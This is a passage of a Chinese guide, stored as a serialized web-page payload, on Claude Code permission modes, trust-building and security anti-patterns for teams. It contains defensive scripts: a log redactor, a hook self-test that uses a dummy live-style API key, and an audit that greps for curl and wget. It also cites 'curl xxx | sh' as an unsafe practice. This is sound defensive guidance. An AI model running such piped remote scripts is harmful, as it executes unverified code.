staging",[414,2644,2645],{},"审查层 + 人工确认",[393,2647,2648,2651,2654],{},[414,2649,2650],{},"全公司",[414,2652,2653],{},"修改共享库、共享 CI",[414,2655,2656],{},"决策层（人类原创）",[393,2658,2659,2662,2665],{},[414,2660,2661],{},"全用户",[414,2663,2664],{},"部署到生产、广告投放",[414,2666,2656],{},[195,2668,2669,2670,2673],{},"影响半径越大，权限要求越严。",[204,2671,2672],{},"这条标准比\"AI 是否擅长\"重要——哪怕 AI 在某个领域已经远超人类，影响半径大的动作依然必须由人类拍板","，因为责任归属不容混淆。",[254,2675,2677],{"id":2676},"_43-自动化决策的四象限模型","4.3 自动化决策的\"四象限\"模型",[195,2679,2680],{},"把\"可逆性 × 影响半径\"组合成四象限：",[625,2682,2685],{"className":2683,"code":2684,"language":1842},[1840],"影响大\n  │\n  │  慎重（人类决策）  ┃  绝不（人类原创）\n  │                  ┃\n──┼──────────────────╋──────────────────\n  │                  ┃\n  │  自动（AI 执行）  ┃  Plan（AI 提议）\n  │                  ┃\n  └─────────────────────────────────── 不可逆\n              影响小\n",[199,2686,2684],{"__ignoreMap":630},[227,2688,2689,2695,2701,2707],{},[230,2690,2691,2694],{},[204,2692,2693],{},"左下（可逆 + 影响小）","：放心交给 AI，例如修改单个函数",[230,2696,2697,2700],{},[204,2698,2699],{},"左上（不可逆 + 影响小）","：让 AI 提议，人类点击批准（例如 git commit）",[230,2702,2703,2706],{},[204,2704,2705],{},"右下（可逆 + 影响大）","：让 AI 提议 plan，人类审阅（例如重构跨 10 个文件）",[230,2708,2709,2712],{},[204,2710,2711],{},"右上（不可逆 + 影响大）","：人类原创决策（例如生产部署、删除用户数据）",[254,2714,2716],{"id":2715},"_44-团队的信任曲线","4.4 团队的\"信任曲线\"",[195,2718,2719,2720,2723],{},"信任不是一蹴而就，而是",[204,2721,2722],{},"随时间逐步建立","。一份合理的\"信任曲线\"可能是：",[387,2725,2726,2739],{},[390,2727,2728],{},[393,2729,2730,2733,2736],{},[396,2731,2732],{},"团队阶段",[396,2734,2735],{},"默认权限模式",[396,2737,2738],{},"可放权动作",[409,2740,2741,2754,2766,2778,2791],{},[393,2742,2743,2746,2751],{},[414,2744,2745],{},"第 1 周",[414,2747,2748,2750],{},[199,2749,610],{},"（强制审批）",[414,2752,2753],{},"仅 Read、跑 lint",[393,2755,2756,2759,2763],{},[414,2757,2758],{},"第 1 个月",[414,2760,2761],{},[199,2762,567],{},[414,2764,2765],{},"+ Edit、写测试",[393,2767,2768,2771,2775],{},[414,2769,2770],{},"第 3 个月",[414,2772,2773],{},[199,2774,580],{},[414,2776,2777],{},"+ git commit (本地)、跑 build",[393,2779,2780,2783,2788],{},[414,2781,2782],{},"第 6 个月",[414,2784,2785,2787],{},[199,2786,580],{}," + 完善的 Hooks",[414,2789,2790],{},"+ 提 PR、更新依赖（dev）",[393,2792,2793,2796,2801],{},[414,2794,2795],{},"长期稳定",[414,2797,2798,2800],{},[199,2799,580],{}," + 严格 deny",[414,2802,2803],{},"仅生产\u002F密钥\u002F迁移仍人工",[195,2805,2806,2809],{},[204,2807,2808],{},"信任曲线必须基于真实使用观察","：每周记录一次\"AI 出错事件\"——如果错误率持续下降，可以放权；如果某类错误反复出现，应当在该方向加强 deny 或 Hooks。",[195,2811,2812,2815],{},[204,2813,2814],{},"信任曲线的\"四类信号\"","：判断是否可以进入下一阶段时，重点观察：",[1756,2817,2818,2824,2830,2836],{},[230,2819,2820,2823],{},[204,2821,2822],{},"零事故周数","：连续 4 周以上无 AI 误操作事故，可以考虑放权。",[230,2825,2826,2829],{},[204,2827,2828],{},"AI 误操作的可逆程度","：如果偶发误操作都属于\"易回滚\"类，说明现有边界够用；如果出现过\"差点不可逆\"的事件，应该收紧。",[230,2831,2832,2835],{},[204,2833,2834],{},"工程师手动确认率","：如果 80% 以上的确认都被点了\"批准\"，说明确认门槛过低、工程师麻木了，需要把这部分动作放进白名单减少疲劳。",[230,2837,2838,2841],{},[204,2839,2840],{},"新人上手速度","：新工程师能否在 1 周内理解并遵守现有权限边界？如果不能，说明边界设计太复杂，需要简化。",[195,2843,2844,2845,2848],{},"四个信号每月评估一次。",[204,2846,2847],{},"评估的\"上下两个方向\"都要考虑","——既要识别\"应该放权\"的信号，也要识别\"应该收紧\"的信号。很多团队只盯着前者，最终导致权限失控。",[254,2850,2852],{"id":2851},"_45-信任不能跨场景迁移","4.5 信任不能跨场景迁移",[195,2854,2855,2858],{},[204,2856,2857],{},"重要警示","：在 A 项目建立的信任，不等于在 B 项目可以同等放权。原因：",[227,2860,2861,2864,2867],{},[230,2862,2863],{},"不同项目的 CLAUDE.md \u002F Skills 不同，Claude 对项目惯例的把握程度不同",[230,2865,2866],{},"不同项目的代码复杂度不同，AI 出错的概率不同",[230,2868,2869],{},"不同项目的业务敏感度不同，错误的代价不同",[195,2871,2872,2873,2876],{},"新项目接入 Claude Code 时，应当",[204,2874,2875],{},"回到最严格的 plan 模式","重新走一遍信任曲线。这个\"重置\"可能让人觉得繁琐，但它是避免\"凭习惯放权导致大事故\"的最直接保护。",[195,2878,2879,348],{},[204,2880,2881],{},"跨场景迁移的\"两不带原则\"",[1756,2883,2884,2890],{},[230,2885,2886,2889],{},[204,2887,2888],{},"不带 settings.json","：每个项目的 settings.json 独立维护，不要从老项目复制粘贴。复制粘贴会带来\"这条规则当年是为什么加的\"的失忆症。",[230,2891,2892,2895,2896,2899],{},[204,2893,2894],{},"不带 Skills","：Skills 也按项目独立。可以在团队层面维护\"通用 Skills 模板库\"，每次新项目从模板库选择性引入，但",[204,2897,2898],{},"禁止整套打包带走","——每个项目的需求差异远大于复用收益。",[195,2901,2902],{},"只有**CLAUDE.md 中的\"原则性内容\"**可以跨项目复用，例如\"密钥不进 prompt\"、\"生产 migration 不自动执行\"这类与具体业务无关的安全铁律。具体实现细节、白名单、Hooks 路径等都应该在新项目中重新评估、重新设计。",[246,2904],{},[249,2906,2908],{"id":2907},"五安全反模式与防御","五、安全反模式与防御",[254,2910,2912],{"id":2911},"_51-让-ai-直接读-env-生产配置","5.1 让 AI 直接读 .env \u002F 生产配置",[195,2914,2915,2918,2919,2921],{},[204,2916,2917],{},"反模式","：调试 API 调用时方便起见，让 Claude 读 ",[199,2920,1449],{}," 拿 API_KEY。",[195,2923,2924,2927],{},[204,2925,2926],{},"后果","：API_KEY 进入 Claude 的会话上下文，理论上会被存进训练数据采样池（哪怕概率极低）；更糟的是，工程师后续可能把会话内容复制粘贴到日志、bug 报告、Slack 中——密钥就这样扩散了。",[195,2929,2930,2933,2934,2936,2937,2939],{},[204,2931,2932],{},"防御","：deny 规则硬阻断 ",[199,2935,1449],{}," 读写；调试时用 ",[199,2938,2102],{}," 占位符让 Claude 帮你写代码，由你本地手动注入真实值再跑。",[195,2941,2942,2945,2946,2949,2950,2953],{},[204,2943,2944],{},"真实事故案例（脱敏）","：某团队工程师为了快速调试一个 Stripe 支付问题，把整段含 ",[199,2947,2948],{},"Authorization: Bearer sk_live_xxx"," 的失败请求粘贴到 Claude 会话。事后该工程师把会话日志保存到内部知识库分享给同事，知识库被一个新入职但还未完成保密协议培训的实习生看到。事故发现后，团队不得不轮换 Stripe 密钥、重新审计过去 30 天的 API 调用日志、向合规团队报备。",[204,2951,2952],{},"整个事故的\"根因\"是一次毫无恶意的复制粘贴","——但现代密钥的扩散链路就是这么短、这么不起眼。",[195,2955,2956],{},"事故复盘后，该团队把以下三条加入 CLAUDE.md：",[625,2958,2960],{"className":2306,"code":2959,"language":2308,"meta":630,"style":630},"## 密钥处理规则（来自 2026-01-23 P2 事故）\n- 调试时遇到含密钥的请求\u002F响应，**先脱敏再贴**，绝不带入会话\n- 团队 Skill `.claude\u002Fskills\u002Fsanitize-log\u002F` 提供一键脱敏脚本，必须使用\n- 任何会话日志需要保留时，必须再次脱敏后归档，不得直接贴入 wiki\u002FSlack\n",[199,2961,2962,2969,2989,3007],{"__ignoreMap":630},[634,2963,2964,2966],{"class":636,"line":637},[634,2965,2315],{"class":757},[634,2967,2968],{"class":647},"密钥处理规则（来自 2026-01-23 P2 事故）\n",[634,2970,2971,2973,2976,2980,2984,2986],{"class":636,"line":644},[634,2972,2323],{"class":757},[634,2974,2975],{"class":1259}," 调试时遇到含密钥的请求\u002F响应，",[634,2977,2979],{"class":2978},"sHepR","**",[634,2981,2983],{"class":2982},"so75L","先脱敏再贴",[634,2985,2979],{"class":2978},[634,2987,2988],{"class":1259},"，绝不带入会话\n",[634,2990,2991,2993,2996,2999,3002,3004],{"class":636,"line":651},[634,2992,2323],{"class":757},[634,2994,2995],{"class":1259}," 团队 Skill ",[634,2997,2998],{"class":757},"`",[634,3000,3001],{"class":670},".claude\u002Fskills\u002Fsanitize-log\u002F",[634,3003,2998],{"class":757},[634,3005,3006],{"class":1259}," 提供一键脱敏脚本，必须使用\n",[634,3008,3009,3011],{"class":636,"line":658},[634,3010,2323],{"class":757},[634,3012,3013],{"class":1259}," 任何会话日志需要保留时，必须再次脱敏后归档，不得直接贴入 wiki\u002FSlack\n",[195,3015,3016],{},"这三条规则配合 deny 规则，形成\"工具阻断 + 行为规范 + 审计回溯\"三层防御。",[254,3018,3020],{"id":3019},"_52-把-api-key-粘贴到-prompt-中调试","5.2 把 API Key 粘贴到 prompt 中调试",[195,3022,3023,3025],{},[204,3024,2917],{},"：复制一段调用日志（含 Authorization Header）粘贴给 Claude 让它分析。",[195,3027,3028,3030],{},[204,3029,2926],{},"：与上一条相同——密钥扩散。",[195,3032,3033,3035,3036,3038],{},[204,3034,2932],{},"：粘贴前手动脱敏。建议团队配一个 ",[199,3037,3001],{}," 的 skill，自动用 sed 替换常见的 token 字段：",[625,3040,3042],{"className":627,"code":3041,"language":629,"meta":630,"style":630},"# .claude\u002Fskills\u002Fsanitize-log\u002Fsanitize.sh\nsed -E '\n  s\u002F(Authorization:\\s*Bearer\\s+)[A-Za-z0-9._-]+\u002F\\1\u003CREDACTED>\u002Fgi\n  s\u002F(api[_-]?key[\"'\"'\"':=\\s]+)[A-Za-z0-9_-]+\u002F\\1\u003CREDACTED>\u002Fgi\n  s\u002F(password[\"'\"'\"':=\\s]+)[^\"'\"'\"',\\s]+\u002F\\1\u003CREDACTED>\u002Fgi\n  s\u002F(token[\"'\"'\"':=\\s]+)[A-Za-z0-9._-]+\u002F\\1\u003CREDACTED>\u002Fgi\n'\n",[199,3043,3044,3049,3060,3065,3082,3105,3119],{"__ignoreMap":630},[634,3045,3046],{"class":636,"line":637},[634,3047,3048],{"class":640},"# .claude\u002Fskills\u002Fsanitize-log\u002Fsanitize.sh\n",[634,3050,3051,3054,3057],{"class":636,"line":644},[634,3052,3053],{"class":647},"sed",[634,3055,3056],{"class":670}," -E",[634,3058,3059],{"class":757}," '\n",[634,3061,3062],{"class":636,"line":651},[634,3063,3064],{"class":670},"  s\u002F(Authorization:\\s*Bearer\\s+)[A-Za-z0-9._-]+\u002F\\1\u003CREDACTED>\u002Fgi\n",[634,3066,3067,3070,3073,3076,3079],{"class":636,"line":658},[634,3068,3069],{"class":670},"  s\u002F(api[_-]?key[\"",[634,3071,3072],{"class":757},"'\"",[634,3074,3075],{"class":670},"'",[634,3077,3078],{"class":757},"\"'",[634,3080,3081],{"class":670},":=\\s]+)[A-Za-z0-9_-]+\u002F\\1\u003CREDACTED>\u002Fgi\n",[634,3083,3084,3087,3089,3091,3093,3096,3098,3100,3102],{"class":636,"line":664},[634,3085,3086],{"class":670},"  s\u002F(password[\"",[634,3088,3072],{"class":757},[634,3090,3075],{"class":670},[634,3092,3078],{"class":757},[634,3094,3095],{"class":670},":=\\s]+)[^\"",[634,3097,3072],{"class":757},[634,3099,3075],{"class":670},[634,3101,3078],{"class":757},[634,3103,3104],{"class":670},",\\s]+\u002F\\1\u003CREDACTED>\u002Fgi\n",[634,3106,3107,3110,3112,3114,3116],{"class":636,"line":677},[634,3108,3109],{"class":670},"  s\u002F(token[\"",[634,3111,3072],{"class":757},[634,3113,3075],{"class":670},[634,3115,3078],{"class":757},[634,3117,3118],{"class":670},":=\\s]+)[A-Za-z0-9._-]+\u002F\\1\u003CREDACTED>\u002Fgi\n",[634,3120,3121],{"class":636,"line":682},[634,3122,3123],{"class":757},"'\n",[195,3125,3126,3127,3130],{},"工程师贴日志前先 ",[199,3128,3129],{},"pbpaste | bash sanitize.sh | pbcopy","，再贴给 Claude。",[254,3132,3134,3135,3137],{"id":3133},"_53-给-claude-bypasspermissions-后忘记关","5.3 给 Claude ",[199,3136,593],{}," 后忘记关",[195,3139,3140,3142,3143,3145],{},[204,3141,2917],{},"：为了一次\"快速跑\"开了 ",[199,3144,593],{},"，事情忙完忘记关，下次 Claude 直接静默执行了高风险动作。",[195,3147,3148,348],{},[204,3149,2932],{},[1756,3151,3152,3158,3161],{},[230,3153,3154,3155,3157],{},"把 ",[199,3156,593],{}," 启用挂上 SessionEnd 提醒——每次会话结束时打印\"⚠️ 你目前在 bypassPermissions 模式，下次启动请确认\"。",[230,3159,3160],{},"启动 Claude 时显示当前权限模式 banner——一眼能看到自己在哪个模式。",[230,3162,3163,3164,3170],{},"团队规定：",[204,3165,3166,3167,3169],{},"任何在生产相关项目使用 ",[199,3168,593],{}," 的动作必须 1on1 报备","。规则可能不会被严格执行，但它能让\"开 bypass\"变成一个心理上需要犹豫的动作。",[254,3172,3174],{"id":3173},"_54-hooks-失败被静默吞掉","5.4 hooks 失败被静默吞掉",[195,3176,3177,3179,3180,294,3183,3186],{},[204,3178,2917],{},"：Hook 脚本因为 ",[199,3181,3182],{},"command not found",[199,3184,3185],{},"permission denied"," 静默失败，工程师以为\"hook 在保护我\"，实际上没有。",[195,3188,3189,348],{},[204,3190,2932],{},[227,3192,3193,3196,3203],{},[230,3194,3195],{},"Hook 脚本必须有明确的错误处理——失败时输出可读 stderr。",[230,3197,3198,3199,3202],{},"定期运行 ",[199,3200,3201],{},"claude --check-hooks"," 或自定义验证脚本，确认 hooks 都活着。",[230,3204,3205],{},"不要把\"hooks 失败\"等同于\"放行\"——某些场景应该是\"hooks 失败时禁止动作\"。",[195,3207,3208,3211],{},[204,3209,3210],{},"Hook 健康度自检脚本","：写一个简单的 self-test，每周自动跑一次，验证所有 Hook 是否正常工作：",[625,3213,3215],{"className":627,"code":3214,"language":629,"meta":630,"style":630},"#!\u002Fbin\u002Fbash\n# .claude\u002Fhooks\u002Fself-test.sh\n# 每周一 9 点通过 cron 跑一次\n\nset -e\necho \"## Hooks Self-Test — $(date)\"\n\n# 测试 secret 检测 hook\necho \"test_key=sk_live_abcdef123456\" > \u002Ftmp\u002Fhook-test.txt\nif node .claude\u002Fhooks\u002Fcheck-secret-leak.js \"\u002Ftmp\u002Fhook-test.txt\" 2>\u002Fdev\u002Fnull; then\n  echo \"❌ FAIL: secret leak hook didn't catch obvious test pattern\"\n  exit 1\nelse\n  echo \"✅ PASS: secret leak hook works\"\nfi\n\n# 测试大文件检测 hook\ndd if=\u002Fdev\u002Fzero of=\u002Ftmp\u002Fbig-file.bin bs=1M count=10 2>\u002Fdev\u002Fnull\nif node .claude\u002Fhooks\u002Fcheck-big-file.js \"\u002Ftmp\u002Fbig-file.bin\" 2>\u002Fdev\u002Fnull; then\n  echo \"❌ FAIL: big file hook didn't catch 10MB file\"\n  exit 1\nelse\n  echo \"✅ PASS: big file hook works\"\nfi\n\nrm -f \u002Ftmp\u002Fhook-test.txt \u002Ftmp\u002Fbig-file.bin\necho \"All hooks healthy.\"\n",[199,3216,3217,3222,3227,3232,3236,3245,3264,3268,3273,3290,3321,3333,3341,3346,3357,3362,3366,3371,3396,3420,3431,3437,3441,3452,3456,3460,3474],{"__ignoreMap":630},[634,3218,3219],{"class":636,"line":637},[634,3220,3221],{"class":640},"#!\u002Fbin\u002Fbash\n",[634,3223,3224],{"class":636,"line":644},[634,3225,3226],{"class":640},"# .claude\u002Fhooks\u002Fself-test.sh\n",[634,3228,3229],{"class":636,"line":651},[634,3230,3231],{"class":640},"# 每周一 9 点通过 cron 跑一次\n",[634,3233,3234],{"class":636,"line":658},[634,3235,655],{"emptyLinePlaceholder":654},[634,3237,3238,3242],{"class":636,"line":664},[634,3239,3241],{"class":3240},"s2Zo4","set",[634,3243,3244],{"class":670}," -e\n",[634,3246,3247,3250,3252,3255,3258,3261],{"class":636,"line":677},[634,3248,3249],{"class":3240},"echo",[634,3251,1195],{"class":757},[634,3253,3254],{"class":670},"## Hooks Self-Test — ",[634,3256,3257],{"class":757},"$(",[634,3259,3260],{"class":647},"date",[634,3262,3263],{"class":757},")\"\n",[634,3265,3266],{"class":636,"line":682},[634,3267,655],{"emptyLinePlaceholder":654},[634,3269,3270],{"class":636,"line":688},[634,3271,3272],{"class":640},"# 测试 secret 检测 hook\n",[634,3274,3275,3277,3279,3282,3284,3287],{"class":636,"line":698},[634,3276,3249],{"class":3240},[634,3278,1195],{"class":757},[634,3280,3281],{"class":670},"test_key=sk_live_abcdef123456",[634,3283,770],{"class":757},[634,3285,3286],{"class":757}," >",[634,3288,3289],{"class":670}," \u002Ftmp\u002Fhook-test.txt\n",[634,3291,3292,3296,3299,3302,3304,3307,3309,3312,3315,3318],{"class":636,"line":703},[634,3293,3295],{"class":3294},"s7zQu","if",[634,3297,3298],{"class":647}," node",[634,3300,3301],{"class":670}," .claude\u002Fhooks\u002Fcheck-secret-leak.js",[634,3303,1195],{"class":757},[634,3305,3306],{"class":670},"\u002Ftmp\u002Fhook-test.txt",[634,3308,770],{"class":757},[634,3310,3311],{"class":757}," 2>",[634,3313,3314],{"class":670},"\u002Fdev\u002Fnull",[634,3316,3317],{"class":757},";",[634,3319,3320],{"class":3294}," then\n",[634,3322,3323,3326,3328,3331],{"class":636,"line":709},[634,3324,3325],{"class":3240},"  echo",[634,3327,1195],{"class":757},[634,3329,3330],{"class":670},"❌ FAIL: secret leak hook didn't catch obvious test pattern",[634,3332,904],{"class":757},[634,3334,3335,3338],{"class":636,"line":884},[634,3336,3337],{"class":3240},"  exit",[634,3339,3340],{"class":1187}," 1\n",[634,3342,3343],{"class":636,"line":896},[634,3344,3345],{"class":3294},"else\n",[634,3347,3348,3350,3352,3355],{"class":636,"line":907},[634,3349,3325],{"class":3240},[634,3351,1195],{"class":757},[634,3353,3354],{"class":670},"✅ PASS: secret leak hook works",[634,3356,904],{"class":757},[634,3358,3359],{"class":636,"line":913},[634,3360,3361],{"class":3294},"fi\n",[634,3363,3364],{"class":636,"line":927},[634,3365,655],{"emptyLinePlaceholder":654},[634,3367,3368],{"class":636,"line":939},[634,3369,3370],{"class":640},"# 测试大文件检测 hook\n",[634,3372,3373,3376,3379,3382,3385,3388,3391,3393],{"class":636,"line":951},[634,3374,3375],{"class":647},"dd",[634,3377,3378],{"class":670}," if=\u002Fdev\u002Fzero",[634,3380,3381],{"class":670}," of=\u002Ftmp\u002Fbig-file.bin",[634,3383,3384],{"class":670}," bs=1M",[634,3386,3387],{"class":670}," count=",[634,3389,3390],{"class":1187},"10",[634,3392,3311],{"class":757},[634,3394,3395],{"class":670},"\u002Fdev\u002Fnull\n",[634,3397,3398,3400,3402,3405,3407,3410,3412,3414,3416,3418],{"class":636,"line":963},[634,3399,3295],{"class":3294},[634,3401,3298],{"class":647},[634,3403,3404],{"class":670}," .claude\u002Fhooks\u002Fcheck-big-file.js",[634,3406,1195],{"class":757},[634,3408,3409],{"class":670},"\u002Ftmp\u002Fbig-file.bin",[634,3411,770],{"class":757},[634,3413,3311],{"class":757},[634,3415,3314],{"class":670},[634,3417,3317],{"class":757},[634,3419,3320],{"class":3294},[634,3421,3422,3424,3426,3429],{"class":636,"line":975},[634,3423,3325],{"class":3240},[634,3425,1195],{"class":757},[634,3427,3428],{"class":670},"❌ FAIL: big file hook didn't catch 10MB file",[634,3430,904],{"class":757},[634,3432,3433,3435],{"class":636,"line":987},[634,3434,3337],{"class":3240},[634,3436,3340],{"class":1187},[634,3438,3439],{"class":636,"line":999},[634,3440,3345],{"class":3294},[634,3442,3443,3445,3447,3450],{"class":636,"line":1011},[634,3444,3325],{"class":3240},[634,3446,1195],{"class":757},[634,3448,3449],{"class":670},"✅ PASS: big file hook works",[634,3451,904],{"class":757},[634,3453,3454],{"class":636,"line":1023},[634,3455,3361],{"class":3294},[634,3457,3458],{"class":636,"line":1035},[634,3459,655],{"emptyLinePlaceholder":654},[634,3461,3462,3465,3468,3471],{"class":636,"line":1047},[634,3463,3464],{"class":647},"rm",[634,3466,3467],{"class":670}," -f",[634,3469,3470],{"class":670}," \u002Ftmp\u002Fhook-test.txt",[634,3472,3473],{"class":670}," \u002Ftmp\u002Fbig-file.bin\n",[634,3475,3476,3478,3480,3483],{"class":636,"line":1059},[634,3477,3249],{"class":3240},[634,3479,1195],{"class":757},[634,3481,3482],{"class":670},"All hooks healthy.",[634,3484,904],{"class":757},[195,3486,3487,3488,207],{},"如果 self-test 失败，立即报警（Slack \u002F PagerDuty \u002F 邮件）。",[204,3489,3490],{},"不要让工程师\"误以为 hooks 在保护\"——验证一次胜过假设一百次",[254,3492,3494],{"id":3493},"_55-skills-中嵌入未验证的外部脚本","5.5 Skills 中嵌入未验证的外部脚本",[195,3496,3497,3499,3500,3503],{},[204,3498,2917],{},"：从网上 copy 一段 ",[199,3501,3502],{},"curl xxx | sh"," 的安装脚本塞进 Skill，每次 Skill 执行时都跑一遍。",[195,3505,3506,3508],{},[204,3507,2926],{},"：远端脚本被劫持时，Skill 的每次运行都会执行恶意代码。",[195,3510,3511,348],{},[204,3512,2932],{},[227,3514,3515,3518,3521],{},[230,3516,3517],{},"Skills 中的所有外部下载必须 pin 到具体版本 \u002F 哈希。",[230,3519,3520],{},"Skills 一旦稳定就 pin 住——不要让它\"自动获取最新版本\"。",[230,3522,3523],{},"团队 Skill 库定期 audit，把所有外部依赖列出来评估风险。",[195,3525,3526,348],{},[204,3527,3528],{},"Skill 安全审计的\"三步法\"",[1756,3530,3531,3544,3550],{},[230,3532,3533,3536,3537,3540,3541,207],{},[204,3534,3535],{},"静态扫描","：写一份 audit 脚本，扫描所有 ",[199,3538,3539],{},".claude\u002Fskills\u002F**\u002F*.{sh,js,py}"," 中的外部 URL、curl 命令、wget 命令、远端 import。把结果输出到 ",[199,3542,3543],{},".claude\u002Fskills-audit.md",[230,3545,3546,3549],{},[204,3547,3548],{},"依赖图谱","：让 Claude 协助生成\"Skill 依赖图谱\"——哪些 Skill 调用哪些外部资源、哪些 Skill 又调用其他 Skill。当一个外部资源被多个 Skill 共享时，它的安全等级应该相应提高。",[230,3551,3552,3555],{},[204,3553,3554],{},"季度 audit 会议","：每季度一次专门的\"Skills 安全 audit 会\"，团队一起 review 当前 Skills 库，淘汰过时 Skill、收紧依赖、更新版本。",[195,3557,3558],{},"让 Claude 协助起草 audit 脚本：",[625,3560,3562],{"className":627,"code":3561,"language":629,"meta":630,"style":630},"#!\u002Fbin\u002Fbash\n# .claude\u002Fscripts\u002Fskills-audit.sh\n\necho \"## Skills 外部依赖 audit — $(date)\"\necho\nfor skill in .claude\u002Fskills\u002F*\u002F; do\n  echo \"### $(basename \"$skill\")\"\n  echo\n  # 扫描 curl \u002F wget \u002F npm install 等外部下载\n  grep -rE 'curl |wget |npm install |pip install |go get ' \"$skill\" 2>\u002Fdev\u002Fnull | sed 's\u002F^\u002F    \u002F'\n  echo\ndone\n",[199,3563,3564,3568,3573,3577,3592,3597,3616,3638,3643,3648,3687,3691],{"__ignoreMap":630},[634,3565,3566],{"class":636,"line":637},[634,3567,3221],{"class":640},[634,3569,3570],{"class":636,"line":644},[634,3571,3572],{"class":640},"# .claude\u002Fscripts\u002Fskills-audit.sh\n",[634,3574,3575],{"class":636,"line":651},[634,3576,655],{"emptyLinePlaceholder":654},[634,3578,3579,3581,3583,3586,3588,3590],{"class":636,"line":658},[634,3580,3249],{"class":3240},[634,3582,1195],{"class":757},[634,3584,3585],{"class":670},"## Skills 外部依赖 audit — ",[634,3587,3257],{"class":757},[634,3589,3260],{"class":647},[634,3591,3263],{"class":757},[634,3593,3594],{"class":636,"line":664},[634,3595,3596],{"class":3240},"echo\n",[634,3598,3599,3602,3605,3608,3611,3613],{"class":636,"line":677},[634,3600,3601],{"class":3294},"for",[634,3603,3604],{"class":1259}," skill ",[634,3606,3607],{"class":3294},"in",[634,3609,3610],{"class":670}," .claude\u002Fskills\u002F*\u002F",[634,3612,3317],{"class":757},[634,3614,3615],{"class":3294}," do\n",[634,3617,3618,3620,3622,3625,3627,3630,3632,3635],{"class":636,"line":682},[634,3619,3325],{"class":3240},[634,3621,1195],{"class":757},[634,3623,3624],{"class":670},"### ",[634,3626,3257],{"class":757},[634,3628,3629],{"class":647},"basename",[634,3631,1195],{"class":757},[634,3633,3634],{"class":1259},"$skill",[634,3636,3637],{"class":757},"\")\"\n",[634,3639,3640],{"class":636,"line":688},[634,3641,3642],{"class":3240},"  echo\n",[634,3644,3645],{"class":636,"line":698},[634,3646,3647],{"class":640},"  # 扫描 curl \u002F wget \u002F npm install 等外部下载\n",[634,3649,3650,3653,3656,3659,3662,3664,3666,3668,3670,3672,3674,3677,3680,3682,3685],{"class":636,"line":703},[634,3651,3652],{"class":647},"  grep",[634,3654,3655],{"class":670}," -rE",[634,3657,3658],{"class":757}," '",[634,3660,3661],{"class":670},"curl |wget |npm install |pip install |go get ",[634,3663,3075],{"class":757},[634,3665,1195],{"class":757},[634,3667,3634],{"class":1259},[634,3669,770],{"class":757},[634,3671,3311],{"class":757},[634,3673,3314],{"class":670},[634,3675,3676],{"class":757}," |",[634,3678,3679],{"class":647}," sed",[634,3681,3658],{"class":757},[634,3683,3684],{"class":670},"s\u002F^\u002F    \u002F",[634,3686,3123],{"class":757},[634,3688,3689],{"class":636,"line":709},[634,3690,3642],{"class":3240},[634,3692,3693],{"class":636,"line":884},[634,3694,3695],{"class":3294},"done\n",[195,3697,3698],{},"跑一次脚本就能拿到当前 Skills 库的\"对外依赖清单\"，作为 audit 会议的输入。",[246,3700],{},[249,3702,3704],{"id":3703},"六pm-与工程师的安全边界差异","六、PM 与工程师的安全边界差异",[254,3706,3708],{"id":3707},"_61-pm-视角定义哪些功能数据是敏感的","6.1 PM 视角：定义\"哪些功能\u002F数据是敏感的\"",[195,3710,3711],{},"PM 不需要懂 settings.json，但必须能回答：",[227,3713,3714,3717,3720],{},[230,3715,3716],{},"哪些用户数据属于\"绝不能泄漏\"（密码、支付信息、隐私设置）",[230,3718,3719],{},"哪些功能属于\"必须人工二次确认\"（删除账户、转账、批量操作）",[230,3721,3722],{},"哪些场景的故障会触发法律\u002F合规风险（GDPR、个保法、PCI-DSS）",[195,3724,3725],{},"PM 把这些约束转化为\"业务级安全清单\"，工程师再翻译为 deny 规则与 Hooks。",[195,3727,3728,3731],{},[204,3729,3730],{},"PM 安全清单的\"四象限\"模板","：PM 可以用一个简单的二维表格梳理业务安全敏感点——",[387,3733,3734,3744],{},[390,3735,3736],{},[393,3737,3738,3740,3742],{},[396,3739],{},[396,3741,2575],{},[396,3743,2584],{},[409,3745,3746,3759],{},[393,3747,3748,3753,3756],{},[414,3749,3750],{},[204,3751,3752],{},"影响小",[414,3754,3755],{},"普通配置修改",[414,3757,3758],{},"一次性发送的内部通知",[393,3760,3761,3766,3769],{},[414,3762,3763],{},[204,3764,3765],{},"影响大",[414,3767,3768],{},"全员功能开关",[414,3770,3771],{},"删除用户账户、转账、批量发送营销邮件",[195,3773,3774],{},"每个象限的处理建议：",[227,3776,3777,3783,3792,3801],{},[230,3778,3779,3782],{},[204,3780,3781],{},"左上（可逆 + 影响小）","：放心交给 AI 协助开发，普通流程即可",[230,3784,3785,3788,3789],{},[204,3786,3787],{},"左下（可逆 + 影响大）","：开发可由 AI 协助，",[204,3790,3791],{},"生产开关切换需人工",[230,3793,3794,3797,3798],{},[204,3795,3796],{},"右上（不可逆 + 影响小）","：开发由 AI 协助，",[204,3799,3800],{},"触发条件需人工二次确认",[230,3802,3803,3806,3807],{},[204,3804,3805],{},"右下（不可逆 + 影响大）","：开发可由 AI 协助，但",[204,3808,3809],{},"所有触发链路需多重确认 + 操作日志 + 撤销窗口",[195,3811,3812],{},"PM 把这份四象限按业务功能逐个填空，工程师拿到后翻译成对应的代码层防护：",[227,3814,3815,3818,3821],{},[230,3816,3817],{},"多重确认 → 二次密码确认 \u002F 短信验证 \u002F 邮件确认链接",[230,3819,3820],{},"操作日志 → 审计表（audit log）+ 监控告警",[230,3822,3823],{},"撤销窗口 → \"30 天可恢复\"机制（如删除账户的\"软删除\"模式）",[254,3825,3827],{"id":3826},"_62-工程师视角把-pm-定义的敏感性翻译为-deny-规则","6.2 工程师视角：把 PM 定义的敏感性翻译为 deny 规则",[195,3829,3830],{},"工程师收到 PM 清单后，需要：",[227,3832,3833,3839,3846,3849],{},[230,3834,3835,3836,600],{},"找到对应代码路径（例如\"用户密码\"对应 ",[199,3837,3838],{},"src\u002Fauth\u002Fpassword.ts",[230,3840,3841,3842,3845],{},"加入 deny 列表（",[199,3843,3844],{},"Edit(src\u002Fauth\u002F**)"," 进 plan 模式）",[230,3847,3848],{},"配置 Hooks 监控（任何对该路径的写操作都跑额外 lint + 强制 review）",[230,3850,3851],{},"在 CLAUDE.md 里说明\"为什么这块敏感\"",[195,3853,3854,3857,3858,3860,3861,1507,3864,1507,3867,3870,3871,3874],{},[204,3855,3856],{},"翻译过程中的常见失真","：PM 的语言（\"用户隐私\"、\"支付信息\"）与工程师的语言（\"数据库表\"、\"代码路径\"）之间存在天然鸿沟。常见失真包括——PM 说\"保护用户密码\"，工程师只锁了 ",[199,3859,3838],{},"，但忘了 